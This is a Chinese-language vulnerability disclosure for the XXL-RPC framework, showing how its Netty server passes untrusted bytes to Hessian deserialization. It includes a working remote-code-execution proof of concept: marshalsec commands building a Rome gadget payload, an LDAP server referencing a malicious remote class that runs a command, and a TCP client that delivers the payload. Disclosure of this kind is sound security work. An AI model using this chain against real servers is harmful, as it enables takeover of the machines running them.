XXL-RPC 框架存在反序列化漏洞,攻击者可通过恶意序列化对象远程执行任意代码,控制服 务器所在的机器

XXL-RPC 可以通过以下代码设置服务器和反序列化器

XxlRpcProviderFactory providerFactory = new XxlRpcProviderFactory();
providerFactory.setServer(NettyServer.class);
providerFactory.setSerializer(HessianSerializer.class);

NettyServer 使用 NettyDecoder 反序列化数据的关键代码

  1. xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/server/NettyServer.java:57
channel.pipeline()
        // --snip--
        .addLast(new NettyDecoder(XxlRpcRequest.class, xxlRpcProviderFactory.getSerializerInstance()))
  1. xxl-rpc-core/src/main/java/com/xxl/rpc/core/remoting/net/impl/netty/codec/NettyDecoder.java:15-45
public class NettyDecoder extends ByteToMessageDecoder {
 
    // --snip--
 
    @Override
    public final void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception {
        // --snip--
        int dataLength = in.readInt();
        if (dataLength < 0) {
            ctx.close();
        }
        // --snip--
        byte[] data = new byte[dataLength];
        in.readBytes(data);
 
        Object obj = serializer.deserialize(data, genericClass);
        out.add(obj);
    }
}
  1. xxl-rpc-core/src/main/java/com/xxl/rpc/core/serialize/impl/HessianSerializer.java:45
@Override
public <T> Object deserialize(byte[] bytes, Class<T> clazz) {
    ByteArrayInputStream is = new ByteArrayInputStream(bytes);
    Hessian2Input hi = new Hessian2Input(is);
    try {
        Object result = hi.readObject();
        return result;
    }
    // --snip--
}

可以看到调用了 Hessian2Input.readObject 来进行反序列化,而且 XXL-RPC 使用的反序 列化实现库并不安全,容易受到反序列化攻击

RCE Proof of Concept

想要命令执行,目标需要满足两个条件

  1. 依赖中包含 Rome
<dependency>
  <groupId>com.rometools</groupId>
  <artifactId>rome</artifactId>
  <version>1.7.0</version>
</dependency>
  1. -Dcom.sun.jndi.ldap.object.trustURLCodebase=true

漏洞利用过程:

  1. java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 Rome ldap://localhost:1389 > payload.bin

  2. java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/%5C#Evil 1389

  3. 通过 http 服务提供的恶意 class 文件,源码如下

public class Evil {
    static {
        try {
            Runtime.getRuntime()
                    .exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (Exception e) {
        }
    }
}
  1. 发送 TCP 请求到 Netty 服务器,触发 RCE
import java.io.DataOutputStream;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;
 
 
public class TcpClient {
 
    public static void main(String[] args) {
        try {
            byte[] DESERIALIZATION_PAYLOAD = Files.readAllBytes(Paths.get("payload.bin"));
            Socket socket = new Socket("localhost", 7080);
            DataOutputStream out = new DataOutputStream(socket.getOutputStream());
            out.writeInt(DESERIALIZATION_PAYLOAD.length);
            out.write(DESERIALIZATION_PAYLOAD);
            out.flush();
            socket.close();
        } catch (Exception ex) {
            System.err.println(ex);
        }
    }
}